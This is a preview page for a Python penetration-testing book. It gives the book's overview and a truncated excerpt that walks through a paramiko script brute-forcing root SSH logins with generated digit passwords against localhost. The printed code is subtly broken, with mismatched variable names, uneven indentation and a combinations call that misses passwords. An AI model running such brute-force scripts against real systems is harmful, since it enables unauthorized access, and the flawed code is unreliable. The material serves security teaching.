Book Image

Effective Python Penetration Testing

By : Rejah Rehim
Book Image

Effective Python Penetration Testing

By: Rejah Rehim

Overview of this book

Penetration testing is a practice of testing a computer system, network, or web application to find weaknesses in security that an attacker can exploit. Effective Python Penetration Testing will help you utilize your Python scripting skills to safeguard your networks from cyberattacks. We will begin by providing you with an overview of Python scripting and penetration testing. You will learn to analyze network traffic by writing Scapy scripts and will see how to fingerprint web applications with Python libraries such as ProxMon and Spynner. Moving on, you will find out how to write basic attack scripts, and will develop debugging and reverse engineering skills with Python libraries. Toward the end of the book, you will discover how to utilize cryptography toolkits in Python and how to automate Python tools and libraries.
Table of Contents (16 chapters)
Effective Python Penetration Testing
Credits
About the Author
About the Reviewer
www.PacktPub.com
Preface

SSH brute-forcing


We can use Python script to automate the brute-force attack to break the SSH login. Here we try multiple usernames and passwords to bypass SSH authentication with automated Python script. For brute-forcing SSH, we have to use a module named paramiko, which lets us connect to SSH.

First, we import the required modules:

import paramiko, sys, os, socket  
import itertools,string,crypt  

Then we initialize the static variables like password size, target IP, target port, and user:

PASS_SIZE = 5 
IP = "127.0.0.1" 
USER = "root" 
PORT=22 
   
var = itertools.combinations(string.digits,PASS_SIZE) 

Check with each password:

try: 
    for i in var: 
        passwd = ''.join(i) 
  
        ssh_client = paramiko.SSHClient() 
        ssh_client.load_system_host_keys() 
           ssh_clienth.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) 
        try: 
            ssh.connect(IP , port=PORT, username...